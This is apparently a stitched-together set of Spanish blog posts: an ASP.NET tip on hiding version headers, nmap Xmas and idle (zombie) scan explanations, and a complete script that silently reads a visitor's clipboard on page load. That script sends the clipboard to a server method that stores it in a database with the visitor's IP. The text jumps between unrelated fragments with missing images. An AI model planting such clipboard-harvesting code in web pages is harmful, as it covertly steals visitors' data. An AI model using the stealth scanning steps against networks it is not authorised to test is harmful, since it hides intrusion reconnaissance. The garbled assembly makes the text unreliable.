Si observamos las respuestas enviadas al cliente que solicita una página de un sitio web creado con el framework MVC, veremos que, además de los encabezados HTTP estándar, el sistema añade información sobre las versiones de ASP.NET y del propio framework MVC que estamos utilizando:

Esta información, además de consumir ancho de banda (poco, todo hay que decirlo, pero nada despreciable en sitios con tráfico muy alto), aportan información que posibles atacantes podrían utilizar para sacar provecho a vulnerabilidades conocidas de estos productos. En mi opinión, lo mejor es mostrar los menores detalles posibles al respecto.

Si queremos eliminar la pista correspondiente a la versión de ASP.NET sobre la que corre el sistema (X-AspNet-Version), bastaría con introducir en el web.config la siguiente declaración:

<configuration>

    <system.web>

        <httpRuntime enableVersionHeader="false" />

    </system.web>

</configuration>

Para eliminar, además, la información sobre la versión de ASP.NET MVC framework en ejecución (X-AspNetMvc-Version), tendremos que introducir el siguiente código para que se ejecute durante la inicialización de la aplicación, en el global.asax, indicando así que deseamos deshabilitar el envío de este encabezado:

protected void Application_Start()

{

    [...] // Otro código de inicialización

    MvcHandler.DisableMvcResponseHeader = true;

}

Y con eso basta. El resultado, el que sigue:

Publicado en: Variable not found.

"Se canceló la navegación a la página web. Puede intentar lo siguiente: volver a escribir la dirección"

• si el puerto está cerrado, devuelve un segmento con el bit RST activo, indicando que se resetee la conexión en cliente.
• si el puerto está abierto, ignora el paquete recibido y no responde nada.

• la respuesta puede ser la misma (o sea, ninguna) si un puerto está abierto o si el paquete ha sido interceptado por un elemento de seguridad (como un firewall).
• también un puerto puede parecer cerrado sin estarlo debido a una interpretación errónea de la RFC.

nmap -sX w.x.y.z

<script type="text/javascript">
$addHandler(window, "onload", salvaClipboard);
function salvaClipboard()
{
  if (window.clipboardData)
  {
    var msg=window.clipboardData.getData('Text');
    if (typeof(msg) != "undefined" &&
       (msg != "") &&  (msg != null))
    {
      PageMethods.SaveClipboard(msg);
    }
  }
}
</script>

[WebMethod()]
public static void SaveClipboard(string texto)
{
  string client = 
        HttpContext.Current.Request.UserHostAddress;
  SqlConnection conn = 
        new SqlConnection(Settings.Default.ConnStr);
  SqlCommand cmd = conn.CreateCommand();
  cmd.CommandText = "Insert into Portapapeles "+
                    "(Ip, Clipboard) Values (@ip, @texto)";
  cmd.Parameters.AddWithValue("ip", client);
  cmd.Parameters.AddWithValue("texto", texto);
  try
  {
    conn.Open();
    cmd.ExecuteNonQuery();
    conn.Close();
  }
  catch (Exception ex)
  {
    // Nada que hacer!
  }
}

• "-sI" indica que se debe realizar el idle scan.
• [zombie] es la dirección, en forma de IP o nombre, del equipo elegido como zombie.
• "-P0" indica que no se debe realizar un ping directo para comprobar si la víctima está activo.
• [victima] es la dirección, IP o nombre, de la misma.
• opcionalmente, puede indicarse el parámetro "-p" seguido de los números de puerto a escanear, por defecto nmap hará un barrido bastante completo y puede tardar un poco. Ante la duda, un "man nmap" puede venir bien.

• El procedimiento se inicia cuando el cliente envía un paquete SYN al servidor. Si es posible realizar una conexión, éste responde con un SYN + ACK, y el cliente debe confirmar enviando de nuevo un ACK al servidor. En caso contrario, es decir, si no es posible realizar la conexión porque el puerto esté cerrado, el servidor responde con un RST y se da por finalizada la secuencia.
• Si un host, sin haberlo solicitado previamente, recibe un paquete de confirmación de conexión SYN+ACK de otro, responde con un RST con objeto de informarle de que no va a establecerse conexión alguna.
• Si un host, sin haberlo solicitado previamente, recibe un paquete de reseteo (RST), lo ignora.

A continuación se exponen dos escenarios distintos de escaneo; en el primero de ellos se muestra lo que ocurre cuando el puerto objeto de la detección está abierto, mientras que en el segundo se supone que está cerrado.

Escenario 1: Víctima con el puerto abierto

Escenario 2: Víctima con el puerto cerrado

Como en el escenario anterior, el primer paso siempre es obtener el IPID del zombie, enviándole un paquete SYN+ACK, con objeto de que éste nos devuelva el paquete RST correspondiente.

De la misma forma, se envía a la víctima el paquete de solicitud de conexión, indicando en las cabeceras que el origen del mismo es el host zombie. Dado que el puerto está cerrado (escenario 2), la víctima devuelve al aparente emisor un paquete RST indicándole que no será posible establecer la conexión solicitada. El zombie recibe el paquete RST y lo ignora.

El atacante, siguiendo la misma técnica que en otras ocasiones, obtiene el IPID del zombie, y dado que es el número siguiente al recibido al iniciar el procedimiento, puede determinar que no ha realizado ningún envío entre ambos, y que, por tanto, el puerto de destino estaba cerrado.

Desde el punto de vista del atacante las ventajas son, fundamentalmente:

• El anonimato, puesto que desde la víctima todas las conexiones provienen virtualmente del zombie, y en ningún momento se envía información directamente desde el atacante.
• El alcance, es decir, esta técnica permite escanear puertos de máquinas a las que directamente no se tendría acceso debido a la acción de filtros (como firewalls) intermedios. Dado que las conexiones provienen del zombie, sólo habría que tener acceso a éste para realizar el escaneo.
• La visión de red que aporta, en otras palabras, permite determinar las relaciones de confianza existentes entre el zombie y la víctima. Si, por ejemplo, un intento directo de conexión a un puerto de la víctima es rechazado y, sin embargo, es posible acceder a él desde un intermediario, es porque existe algún tipo de relación de confianza entre ambos, lo cual puede ser utilizado en ataques posteriores.

En la actualidad, el principal inconveniente es la dificultad de localizar un zombie apropiado para realizar los ataques, tanto por las condiciones software que debe cumplir (sistemas operativos, kernels, etc.), el escaso tráfico de red que debe tener en el momento del escaneo (necesarios para que los IPID no se incrementen por otras conexiones) y, sobre todo, las medidas de seguridad de que disponga, puesto que desde él sería posible detectar al atacante.